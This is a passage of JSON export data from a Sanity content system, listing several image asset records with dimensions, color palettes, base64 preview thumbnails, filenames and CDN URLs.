wfucYy5vfsLy5ixXyt39i5T/4sNvA1rEJo2F6aJgOOnYAL1RoejbWGzvYbH5HlzGIKAePsn+jKhuqFD6PYZiWj2bbRtdhYCKBHYY46jZwYjXhcQGhMgiVjhNlkFEGFedQcaEtVykcX8Lo2gFapgPLDbVgKFMwEYEJhVAocBEh1FQ+fXMZQ8UZ0ryHrOhrK6IUtidgkBBl6fpCi1FGMkoRxQniJEWSZtfIkWY58qKH/tk5zs4vtI3TAo4vYNge1/1zg0qQ14IkRheLXh+9/rm+NM7FGElWwAlkJWhanu6hH0Z1lkQCRcJpgTTv/53sEhnnsClDEqIetrsu3EDCYxFOu76GHtBTvAGhsmqgox7SYByfg/EYbcfH5709bBwcwvK5vkBZ3wQTCZxA1YIOg8eUvtxyXHz8sY2Nk33YjOtSCHWNUVzWPmXph/HVoUj9khtKNOwuWrYFP5TVxJMcUVJo4quklaU47WVAi019ouzIIUGyo0cIqsDxOBxPVPiXuH+shM+U7rkxaiptP0G9sFyO046vMa2ghqFjj0Pxdk3H4bDpT6FNz4oz5DVp1tNlhiIGl4n+I6KYSh6H4lzE8JjAL9PDxsEp1vZbMMpyiHJ4hXKIwaDExaDEoCy1PxxeQmfI0pk8LxByia3DFuYW1vHo5Sf8Bgggki6T0kSuAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#335573","foreground":"#fff","population":0.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#145184","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bdc1c8","foreground":"#000","population":2.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdc1c8","foreground":"#000","population":2.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2c5e2","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#548cb0","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4e84b5","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"55106470588bfc6b8229ac62eca8418f89a4d5d5-700x550.png","path":"images/sczeoy4w/production/55106470588bfc6b8229ac62eca8418f89a4d5d5-700x550.png","sha1hash":"55106470588bfc6b8229ac62eca8418f89a4d5d5","size":62190,"uploadId":"rzYzpmhtaCShcGHvmzdSQ7Sxd6Fo1sob","url":"https://cdn.sanity.io/images/sczeoy4w/production/55106470588bfc6b8229ac62eca8418f89a4d5d5-700x550.png"} {"_createdAt":"2022-06-30T20:00:25Z","_id":"image-013f0d44d495ea3fb6c18f96b9018f2cb1577efd-1463x869-png","_rev":"CK1sLU2mnwa3vmbYWEcwlZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:03Z","assetId":"013f0d44d495ea3fb6c18f96b9018f2cb1577efd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEM%_=tR00e.9Z9Fae_3ozs:00f+~qaetR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6835443037974684,"height":869,"width":1463},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACeElEQVQokXWR3U/aUBTA+aOXKJ+2SO8HOCujD0uM0ZclWzImFMWJsIQxUZdJxsMe0QcjratAgX7QXrhnaWXOZfMmv5x7z8n95eScyLG6/6Oqlm4OK6pWPVC1g0pZq5RLD6gPsbRf1Mr7H/7kyyXtQC1p1Uo5+NP/eFjRG0eVq09VtRHJrQt9KS3YaVH0RVHwUqmkF4/HvFgsuuTJPRr1oiGrXiIW9YRUwhOFtVkmLfrZjGhuZoRvESGZMNYSCZZMJEAUBJBlGXZ2dmBvbxd2d59ne3sbNnI5iMWT/MVKHFajcScVj3UjSJIMjJCPEYJX+Tyv1Wr8+uqKa/1b3r+95f1+n2ua9oCucV3X+d3dHe/1elxVVY6zL/lKSoK4INnr65nvEYSQgTH2CSGgKApvtVowHAzAte2Q2Wz2BDfE9zwYDAZwcnICm/IWT0sEMojYGKFuKCSEPAo/N5twb/wEx7LACYRuIJmB6zjh27Wm4LkO3BtGKMzn85xSAllKbUpI97FDjHEo/NJqwXg0AuZ74PsezBmD+XwexiDHvBksmA/D4RDq9XooDJoJhZR0IxKSDISQjxCCQqHA2+022JYFwDnwxQJ4EJ+yWIQ1czQKhVtLIaXEJhj/V8ht2+YQfHvmBDXTHPNGo8F/d7gUPi6FBUJFUeDs7Awcx4HnTuibMzANHRq14+UMKWSzWZtSGs5Qxxi7GON5oVBgzWaTGYbBLMti0+n0LyaTCRsNh2x0c81uOm129P4t25LlYKELSumEENIJhD2E0D1CaCzLslksFs3z83Oz0+n8w+Xlpfn14sK8qB+ZzXd75pvXirmRy44wQmOCsYYxPv0FYiLoqowZzz8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#493228","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94543a","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed7652","foreground":"#fff","population":0.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4d0cd","foreground":"#000","population":0.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f29f86","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986c54","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed7652","foreground":"#fff","population":0.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"013f0d44d495ea3fb6c18f96b9018f2cb1577efd-1463x869.png","path":"images/sczeoy4w/production/013f0d44d495ea3fb6c18f96b9018f2cb1577efd-1463x869.png","sha1hash":"013f0d44d495ea3fb6c18f96b9018f2cb1577efd","size":116019,"uploadId":"BWK4n5jBrwlWy30Y0slnvg3sI6wHc2vs","url":"https://cdn.sanity.io/images/sczeoy4w/production/013f0d44d495ea3fb6c18f96b9018f2cb1577efd-1463x869.png"} {"_createdAt":"2022-06-30T20:00:28Z","_id":"image-05562312bba1dca72062ee8e0491d1f0390e155f-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri7Fi","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:19Z","assetId":"05562312bba1dca72062ee8e0491d1f0390e155f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MfMW+E3Yo##[oP~2-NwcNZbC}f$cNawaOA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADP0lEQVQokWXOW0xTdxzA8V8rKorcPP9y2nO/A6dUaGlLK6dGg7IZiNVEJfpiRKUtsks3hGJAwBgjuxh1mfqAYQ5MrLaiSaHlySUuIcuCl2ice6lx2bIEE6OTxIj0nIXNBzcfPq/ffCE3SZTmJglrbpIg/stGzMZJ6vY5hps+w/LTJxn+4Yky9q/+fFKPmQi9C/7PqncBBkYaLzPSOGekcdFI48K7Hg5T6nCXuPZ4WN54fJ+48cJ+0v/o05WVRgwEo/s9nNENNsgmvZZs0stkk14+m/By2YSHyybc3OMr1dxPZ+3yxc6qmq9bq/1f7Xb4L7YoNff30NLLkJX9F87OhS3sq0gp9/pgITPfUWCFLQMZLDiYIYODGSY4mKGD/Sk62HOJ3ho9SUf2x8iRDzvJ67W97Ljax6WkPvamMEDf4o9SPwoD1LTcQ91W26lfa3fQv9evJ59ucFnAHMnh5kiOM0cWpCWhV9KSvbOSueWuaNp8XWA8F+iBkgSVhAx/DTJCAtJCHFJi3DwuJZdeljIF58RpyxHxF26P+Ie6iX/mrCUAwoYNwoa4tPVPtWj7lKu4edS9vPF7O2jfyJT9BNe7aoy5DCkpDpPKmHm8/FTBt9VHUW/dl9aoN0FFHA/ElvJZR0B56akQ5/00CaawbjOF3ogrds848MahddZAtKHQ1+0EV7dMSzG2r+A7Jg4pKQET8tiy0Ypj+KG6qLDzg8PlmxvH7Bs8vzmdFfM+VlmoxyVdQxSYQgs47Hsh5O38ubKw4Yyz2Pe5e7nzIztUtcu00PlP8KrphnQjLy5PFJ5WrpAHHSPlTZ74Gp9nxl3pmPNTiqFZFmO8riEbQOvzEtj1iIbmKRnWnVXA1aNAVbsCaptMi59xg0XnmYn8EemHki+UO+THSlbZqszWeJW5OkF5U2+VdQ0JhoZIXUNI11ARwPaZldCULoP1wyy4+3mo6uBBbeNBPcAx0ifkEDZE3Fp9jL1HRfgnFU38c1cNP+9jeF0r4wwN0YaG8MWQrqFlRgAzAzRPrYCG0WLwDWGwJopADSGobEOgHsA4uaP0NBEruUN2YFl5G3rmrEWv/QzKaZbFG+xtKN/QUJ4ewExGAIO/AddZM7Vfo3fYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#342c1c","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#241c04","foreground":"#fff","population":10.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#241c04","foreground":"#fff","population":10.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#896b0f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1d787","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#896b0f","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5b219","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"05562312bba1dca72062ee8e0491d1f0390e155f-1567x844.png","path":"images/sczeoy4w/production/05562312bba1dca72062ee8e0491d1f0390e155f-1567x844.png","sha1hash":"05562312bba1dca72062ee8e0491d1f0390e155f","size":91655,"uploadId":"NT61aPkSrhI2rrQVWzUijWYaQdv5Ks5F","url":"https://cdn.sanity.io/images/sczeoy4w/production/05562312bba1dca72062ee8e0491d1f0390e155f-1567x844.png"} {"_createdAt":"2022-06-30T20:09:48Z","_id":"image-1c4bec02f253d46f99684caae7b59b47066f2619-2500x2083-png","_rev":"cEPH2uRN58AU2lp9QO8BNh","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:20Z","assetId":"1c4bec02f253d46f99684caae7b59b47066f2619","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOCY]-,?00Nv_N$%soR*J7JRROxG%2e.RiNbNbR+oLs:9ZNa-;$*VY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.200192030724916,"height":2083,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAABcRAAAXEQHKJvM/AAAEKElEQVQ4jW2Ua0xbZRjHn5YeigilbBaLA2GkxQnSKwplOs2IQbO6JmNsjE6q0QFhSlsGcxe5SLc4tzjmzGJYTGFiRmL2xchYhhuafWEZglOBgoxbkbanF9rTU1pK6XnN6Yhjdv/k+fK+eX7v/7nkBepQCqCDWUAdEALSpAFVIQC0/0XoyUuB7YWFIBQKWWlbtrBTU1PZWzMzWRKxGJI5HODxeKBWqyFKqD4WUIUAqLIcQO+lMagKAWutLBdDqjwGJ0PIOGU4xbly5busqz09ggtfXeDuUiqZ1bW10GYwwBMV/pAPlPqhQ0qTHkcdEL5A7XspJ6QUPT3kDGL44oLMbbM0eGyWky6r9VXzwj9PkYFVcNkdMDo6Cvr61kg8cqiPBbRbBmjXK4CqeHykztJQZaLqYElB5pzNmxzwumvCbvv9sMsxGSKIY/7AyrMIIaDDarWCvr7lcSB1BIPvAQEaAAgf5mavVWYeWyuVtQZ37hDZRmc2rZCeQ2G3fSS85DCFCOIo6VuOAP0ECWazGXR6GtjyCLjawAb0AwAyAPjqnuET72e/RexVKMniN9M9vXdiA35fTpD0VPvdSzq7xVbU13ebo9FoWWe+uMS4ePHbaIfOhs2AxgHQaQCTNpc1XPV64vDBdzhjylJs+WovLC064q3z1ucnTFPC6323+Z82nU3U6prjGhoNzPojn0UDUSPA3Gk2OI5zAGkBUDkAos8v94Dd4mBb70zmWQbGy/Hx+XdtVlzx28gf3PL9Ncwvz3cweq///ARgA8Dv5+NhtmkToI8A0D4AdK0LFgkE9gV7gmVgQmnpH/vaObHYQXgItd3p5NF5g3dHwGSaBJ2+FfT6DUCaTjdWtz5++kV8ygruBx6wmW2YecAkmOsfLTH/ObP7wdSs7MefbiZX13yCNbecY3Zc7n6YuxEYtegIAY7bYWjwLgwND4PT4YrHccfW6em5bTf7f+UfP/F5glbXzG48amBqdc3rwA1T/r/a29shHA4DhRC4yWUsuEzmr3rdJ4LupTbS5do5Nv53glRazOjuvsa4ceNWNND7dgF0bi8AlUwOApEYmurqIi7pIAPBpJCfrKE8jjHKZZ9ZI4iTgZUg30OsrFeCR1ql27iHXpUEjDvkoJLLIkApxvgP6PH5E4M+QrPmcQyGlxz3VwminvQtp9B31GpofbFbQf+Yw5KimM4iBaaSyVkCkZixV54POG6Dv6bn4dbAL9jUhCnXOj9bhS+YD8/PzOTfuzcUFwiGwO/zgdFojO6ZVylPMr72Mk8lk3EFInFsqVwWOecmxINQKGBWVmo4rW2G9DNnz6V/XFfHkUgkzEsd30BnV1fkC4sG7sndbHxD+pxKLuUJRJK4PflSEIvFUPZBLRQqFLAtWxjD4yZhnDg2lpWREaNQKBh0ybSKi4ujgP8CMSsg4Ch9J2oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4c44","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b0a05","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f75d1d","foreground":"#fff","population":0.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcbc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcac6c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae6950","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f75d1d","foreground":"#fff","population":0.6,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1c4bec02f253d46f99684caae7b59b47066f2619-2500x2083.png","path":"images/sczeoy4w/production/1c4bec02f253d46f99684caae7b59b47066f2619-2500x2083.png","sha1hash":"1c4bec02f253d46f99684caae7b59b47066f2619","size":129908,"uploadId":"aKKn8KcGBXENOTswVm8U3gxWO0e2CIJH","url":"https://cdn.sanity.io/images/sczeoy4w/production/1c4bec02f253d46f99684caae7b59b47066f2619-2500x2083.png"} {"_createdAt":"2022-06-30T20:09:42Z","_id":"image-6c8ca5f069ea6f6a290621992583fef104b7c94d-317x623-png","_rev":"CK1sLU2mnwa3vmbYWEdOsN","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:00Z","assetId":"6c8ca5f069ea6f6a290621992583fef104b7c94d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"c5Ss88%M9ZxaaeRj?aNGad~pofjZM{xat7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.5088282504012841,"height":623,"width":317},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAnCAYAAAAPZ2gOAAAACXBIWXMAAAsTAAALEwEAmpwYAAADGklEQVRIiaVW266bMBDk/7+tL9V5qFQpJddDuMRcDNiAzVazYOoTJSeQIk0Q4IzXO7tjB8MwUF3XVFUVaa3JWku4xnGkV5cbM44jGWMYQd/3VBQFZVnGxHiJAVtgrSUEBgQg0F1HSinquo4/biUcZ1IgMMZS1/ektCalNCFi93ErxnGkAFHlRUlJmlKSJJTnOTVNw/kE+St0XbcAzwGWGscxheGewjCk0+nEz1LKZdB3ZFpratuWg8A9wAtEtt/vGT7hmgj1TAgguADK4M9CCAYUh9pvL9laS/0wsNIgwQcov0WI0cNUNrqjpm2pRh6U4nr6T5ULiuOEomvMavvL9pf0CFrrBXheVP4ThrTb7ViY8/nMnYNva0VpfJXTNKXT8UiHw4HJrtcrC/SK8EvZtLPKxgzUNg2VZcmASWCAU8316DP0GDOPY3NwjQ2VQeIE2dLHvTFUqo6k7ieV0cdQGGGjr7cSikbRz8+UfsWCgsEYJivKktV2y0axO0Bx19+PlE7Lij4uMf1OxBQhBsMUIM5nFLEwDpfLhYFKwGQg9yeSUnIwoqyoUXrKIWZGlIgMNQiFb7cbw7UkyDAxlLxHM6uMdDFh1/XsheiYd7qkVJp2WUEHUU1LRrtVvIx6Mdl7PCsbYwwlVU0/jlf6iLJ/ORR5zjaGXOEOoFvcspEOjHuEW1HSOROUVvW0ZOQBOYIoURRxpwA+KQghwiNIKbk5eJPiHGJPUepLC/kNv7ZrLDapYc5h3cC+QKbf2kpH3w8RGYpaiJxkXT9V+tnWaT0sOUSekEPkY0uE1trl1MCEeImIXA79zf5ZT/vf7X2E7+bqaQ4tNqnZed0G5R+C1lyjfxRxhyXkDwaBpfsnsFfA5dLGdYgfVLtzEkzw7mHJOMfGvjwV8Ny7vsXPWKt8MJmDJlk3DOfc98AWscbJAzYHFHZe0E0ILnCQwsr4NDFj7TEvwA/qD44CM4A4yOmW44id87fUIWYHqXMPlNBU/Rj4tfXul/0wQiQfosAkmlbxHSaB3dC5+ObCRv3BGEopqZL1JNIskCslV3PfXX8BEiPqgdkvMXUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#277b87","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#277b87","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ab2c7","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84c8f0","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#629098","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3babb6","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6c8ca5f069ea6f6a290621992583fef104b7c94d-317x623.png","path":"images/sczeoy4w/production/6c8ca5f069ea6f6a290621992583fef104b7c94d-317x623.png","sha1hash":"6c8ca5f069ea6f6a290621992583fef104b7c94d","size":30770,"uploadId":"jhH4bucCiZ5qAt5MR48sZ8dxdUxZSoMp","url":"https://cdn.sanity.io/images/sczeoy4w/production/6c8ca5f069ea6f6a290621992583fef104b7c94d-317x623.png"} {"_createdAt":"2022-06-30T20:09:35Z","_id":"image-90c7fb28a3a96ebddd221e936184ad10657069bc-378x344-png","_rev":"6BJll63fjycTvao7Auprn7","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:03:19Z","assetId":"90c7fb28a3a96ebddd221e936184ad10657069bc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e89G~:tS~q%2_N%Noeaxfls:~qoIM|azoJ-;WEWBoefl~qayWAa}ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0988372093023255,"height":344,"width":378},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACeElEQVQ4jY2SbW8TORDH80mua3v9/LBej9fezeaBoFZtEjjdhQJSmlYV6FRCOd4g3iM+OUq3BXR3cEjzYuzxT///zHj06dPn3e56s3l+fv7y2bNDbLe7m5v97e37/f7d27d/7/fv3ry5vbnZ73ZXw5vN5sV2e/nhw8fRq1d/jcezuo4AybmgdRVCs1gcn56uTk6Wp6frk5Pl8fHZYnEcY6t1pXWllAPIm83z0XZ72TRdXTcASQhTFCXGjHMtpZXSKuXuEsO5JoQXRYkQPToiQpizs/Xo4uIqQFLKGeMZUxizIRCiCNF/HwnhCJVKudXq6UG5qoBzrZQrS/HLsF0unxzgEBrnAkCW0g5lQvjADPn3x7IUCFGl3HL5nbLW1VD4uTLGh86lfFD2Pn61jfDPYUpLhtEDfHFxCZB9HWNsD7bJD3vGmGpBc028wdbYe9veRyGM1hWl8kcDw5gKVnaAz6bFov2tBbVeDbYr+B8YMVaWyaPHXfG4Q/N0NM3yyfoAX4WQvId72/8Fl4TVliza4lFGfSTJozbq9R38bc+U/nPaCFNCqFVkmopH7VEHqAsEXBFrvRpsW+sRopxryiShnApJhSSMY8YI40ryDsg8F11AyZM2UHAYvLmHjfEYM60roQw3uorBNyCcoVpKZwL4HHVw1KoSKtU1vnbSO/cAW48wFcJwYaS2kHLTdto6yqUyJsYmhCil5kz4qs6pq5y31g97vqpqYFLdrToDpBjbnMchJGerysgY6pQ6gFz7w1/IuQ+QAPJ6/fvo+vp1kzvr666fzGaLyWQ+Hk8nk3nfz1LKsXapgb6f9nf3/WQ+mcy78bQfz/748/wL7ZjSqxDUXM0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c2830","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#965904","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b7b6ba","foreground":"#000","population":0.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7b6ba","foreground":"#000","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eee68b","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74957b","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1d431","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"90c7fb28a3a96ebddd221e936184ad10657069bc-378x344.png","path":"images/sczeoy4w/production/90c7fb28a3a96ebddd221e936184ad10657069bc-378x344.png","sha1hash":"90c7fb28a3a96ebddd221e936184ad10657069bc","size":24445,"uploadId":"0HxWYcTWjO0ZcLAPNybZHH2sA8UORSDX","url":"https://cdn.sanity.io/images/sczeoy4w/production/90c7fb28a3a96ebddd221e936184ad10657069bc-378x344.png"} {"_createdAt":"2022-06-30T20:10:19Z","_id":"image-22291cbb039c4a932b30cc952331699ac1095271-356x589-png","_rev":"CK1sLU2mnwa3vmbYWEdfFL","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:10Z","assetId":"22291cbb039c4a932b30cc952331699ac1095271","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"cIONRdI.IpIbnlxZ}Rw*tQ?RkkoI00S@s=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6044142614601019,"height":589,"width":356},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAhCAIAAABWXBxEAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAFRElEQVQ4jaWV628UVRTA958ACWJUaJXELz4TKyH4QQUiGkIkqBhjjAHECFIUKbZITMG2QA2kigRQqQT6oEDptt22u93uq/voPmZmX/PY2e5j5t6ZnbkzO1ug0NBiZrqlBV8x/nIyuXMzv5w5k3PPmHp6eux2u9PAarV2d3dfM+jo6LjUdul824Vz7a2/tV9o7+wwm802m83pdDocjpGREZfLZQoEAul0muO4TCYTj8cdDofdbh+2D1v6LX2W/quD5osDV9p7r5j7et1udyKRyGQyuVyOZdl4PG6KxWKSJCGE0uk0juNut9vr9RJRIplIJsgkQcZ8RNDmGhmyDrlcLoIgaJrmeV4QhFQqZYpGo4IgZLPZYDA4OjrqcrkCgUAmk5FlGSEky3J6PO32uG02m8vl8nq9Y2NjLMtCCHU5FosBAEiSDIdDiUSCJEmGYSCEqqpqmlYsFjOZTCAQiEQiFEWRJPlwZgDAeGY8xTI84CAEAIJCQVQUpBpACFmWzefz4hyyLJdlHMd5ns+xkA5ytB/MBhsSAYuQpCBFf3NJkmQDNAcAgKZpE4Zh+TzH+AujP8nORsXRoDi+R+7janJAFfnZqsvFL4Tn+bLMc/x4SAme0bzNNzxHS8O1mnXvDaK9JOYRUh6yHpRxHIMQSLzCxZU8oaaD8th5afjABNE2LyMkI3k+ZFmazwwAQAjpZSEZ8gJ2TRyu1fA2TeDKcrliA8n4BGX5ojVqDouWmOYkiyyvQL5A9Egj307or83pGRlOcZBFS0yzRLX+qDYUL2JpJZM3PthbJ+PrzqD1v97e2TU5ENV4XmI9UqRVTQ4jAEVeFnsIddvlyTd/nVp/bmrdual3Wu/86JxIpCFD06aKU12LznoWnSi82HLnkOXmoC+X6huhersHkuYrqLdTttSNhV/4WVty5N7i+nuL6u9VHp3+pvcWzkCGpkwVrq2LfV8t+X10RdPkqpapL44Tvuoaf8PGXfjmN0rvr1U/qgqdXH46u/TIzCOHZxbXzzx1bIFcmah6PLmp6pe+9V/e2lB9d/c2evDt41d2v7c2sHpp6fllxVceC+9fdpp69MjMksN6PH1surYs06aKRNUzxMZtzd1HP5Sbt06cfle6vok6VdPxeuiD5aWqiuKrlZG6irP0iqbpJxqnn2yYee6Hu4f6b+IM0OXK+Msr6de2dNXva+qsabza1Gjvbsh1tcYOki07ivt3qrWfURd2WrKfXr69vXNye+fknquTF/0amQY0RZmeja9ZCVe9lNuwmtq8htryCVnTF/cwDB+FZAjhIUSEBCaUKYRYNcQqwZQSSStMHuXyPEVRpl3Rr3cVDlSX6qq1ur3awebiqaASlpGk6H2lKLKiIP10GCEpSDK6SW8SXbZiwyGIxVAyJutBySleBvJDLbVgIc11mC4TGC4AQUWKIhl5Zpv3H5HuyxEswgNeRrIkS7Pxr7JsnCpdnj8Ycyf+P2TG/o+M4ziEUJ8VD84aYyVLczNk4TCR7h9JHMc5fRqKEEJBEERBKBgIEAqAFwAQBFjeWQDHcQzD6JOETuf9pDBGwVSWz3M8hMYIjRMFq1l0DAKa1Dcg5BaQy+XKY2gsybXY1YYBtcNfCFOQAwLkucLg9Rv7Py7V7xF9Tgh0FsrZbLYsB0nuxLD6+eXSd33qACbmeF0WreaJ2h1awz7R7/5bGcMwZjznT4q9YXEAE3EG8sB4mIyLLpvodYAUbdTxV7Lf76coKpVKMUyKSemkDYxlmT/vUBSl/yWHhoY8Ho/P5/V5vfpVD537N+V7n8/7IIFA4A/ApUhHkT3Y7QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544b50","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#182559","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0a78f3","foreground":"#fff","population":6.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc9c7","foreground":"#000","population":1.51,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#54a5f2","foreground":"#fff","population":0.84,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#58ab61","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a78f3","foreground":"#fff","population":6.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"22291cbb039c4a932b30cc952331699ac1095271-356x589.png","path":"images/sczeoy4w/production/22291cbb039c4a932b30cc952331699ac1095271-356x589.png","sha1hash":"22291cbb039c4a932b30cc952331699ac1095271","size":32872,"uploadId":"kaK1n1hwQIhwZ6cyQLydc5xXQB5g6SKH","url":"https://cdn.sanity.io/images/sczeoy4w/production/22291cbb039c4a932b30cc952331699ac1095271-356x589.png"} 